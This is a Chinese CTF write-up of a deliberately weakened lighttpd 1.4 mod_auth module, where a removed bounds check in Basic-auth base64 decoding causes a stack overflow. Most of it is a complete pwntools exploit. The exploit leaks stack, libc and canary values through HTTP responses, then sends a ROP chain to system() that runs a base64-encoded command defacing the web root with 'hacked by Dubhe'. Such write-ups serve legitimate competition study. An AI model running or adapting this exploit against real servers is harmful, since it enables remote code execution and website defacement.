lighttpd1.4 mod_auth改了 栈溢出
用给的虚拟机进行编译,且和编译方式有关 使用cmake最接近
$ cd lighttpd1.4 cmake -DCMAKE_INSTALL_PREFIX=/usr/local -Wno-dev . $ make -j 4 make test $ sudo make install
bindiff mod_auth.so 一个被改动的函数

涉及代码如下,不过目测漏洞不在这里(ulen限制0x8FC 也造成能够溢出)

li_base64_dec函数在lighttpd中定义 diff发现同样被改了

下图左边为题目附件,右边为原版lighttpd,可以发现这里原有的越界检查被删去了,而原本传入函数第二个限制长度的参数out_length没有发挥作用,造成栈溢出

直接栈上拼接,可以把内容在返回报文中带出来
但存在canary,为了解决这一问题出题人加了一个分支以便利用
使用basic认证,当解码后找不到冒号时进入else,将栈上数组最后一个字节置0,从而能够恢复被覆盖的canary最后一字节。而返回包内容在前面已经被拷贝到dest变量里了
v5 = strlen(user); dest = malloc(v5 + 1); v6 = strlen(user); memcpy(dest, user, v6); v21 = memchr(user, ':', na); if ( v21 ) { ... } else { user[na - 1] = 0; // 置0 log_error(*(a1 + 96), "/home/x/Exp/ubuntu22/rwrw/lighttpd1.4/src/mod_auth.c", 845LL, "missing ':' in %s", user); return sub_4720(a1, require->realm, dest); }
exp
获取栈等基址的偏移可能不是很好,演示最后几秒钟才通的 😅
最后执行
echo '<html>\n<body>\n<h1>hacked by Dubhe</h1>\n</body>\n</html>' > /var/index.html&&sleep 2&&/home/qwb/lighttpd -f /home/qwb/lighttpd.conf &执行的时候lighttpd还没挂,直接重新运行会因为端口占用无法启动。用
&让他不等命令执行完进程就挂掉,命令执行中先sleep 2s再重启
from pwn import* context(os='linux', arch="amd64", log_level='debug') def base64_encode(data_bytes): encoded_data = base64.b64encode(data_bytes) return encoded_data.decode('utf-8') r = remote('192.168.130.151', 8080) payload = f"""GET /www/ HTTP/1.1\r Host: 192.168.130.151:8080\r Authorization: Basic {base64_encode(b"C"*8)}\r """ sleep(0.2) r.send(payload.encode()) res = r.recv() _idx = res.index(b"C"*0x8)+0x8 core_data = res[_idx:_idx+6] stack_addr = u64(core_data+b"\x00\x00") payload = f"""GET /www/ HTTP/1.1\r Host: 192.168.130.151:8080\r Authorization: Basic {base64_encode(b"B"*0x68)}\r """ sleep(0.2) r.send(payload.encode()) res = r.recv() libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') _idx = res.index(b"B"*0x68)+0x68 core_data = res[_idx:_idx+6] libc.address = u64(core_data+b"\x00\x00")-0xe1225 payload = f"""GET /www/ HTTP/1.1\r Host: 192.168.130.151:8080\r Authorization: Basic {base64_encode(b"A"*0x409)}\r """ sleep(0.2) r.send(payload.encode()) res = r.recv() _idx = res.index(b"A"*0x409)+0x409 core_data = res[_idx:_idx+7] canary = u64(b"\x00"+core_data) syscall_r = libc.address+0x0000000000091316 pop_rdi_r = libc.address+0x000000000002a3e5 pop_rsi_r = libc.address+0x000000000002be51 pop_rdx_r12_r = libc.address+0x000000000011f2e7 pop_rax_r = libc.address+0x0000000000045eb0 _rop = flat( b"Z"*0x408, canary, b"Z"*0x8, pop_rdi_r, stack_addr+0x438, pop_rsi_r, 0, pop_rdx_r12_r, 0, 0, libc.sym['system'], b"echo ZWNobyAnPGh0bWw+XG48Ym9keT5cbjxoMT5oYWNrZWQgYnkgRHViaGU8L2gxPlxuPC9ib2R5PlxuPC9odG1sPicgPiAvdmFyL2luZGV4Lmh0bWwmJnNsZWVwIDImJi9ob21lL3F3Yi9saWdodHRwZCAtZiAvaG9tZS9xd2IvbGlnaHR0cGQuY29uZiAm | base64 -d | sh\x00" ) payload = b"""GET /www/ HTTP/1.1\r Host: 192.168.130.151:8080\r Authorization: Basic """+ base64.b64encode(_rop) +b"\r\n\n" sleep(0.2) r.send(payload) success(hex(stack_addr)) success(hex(libc.address)) success(hex(canary)) r.close()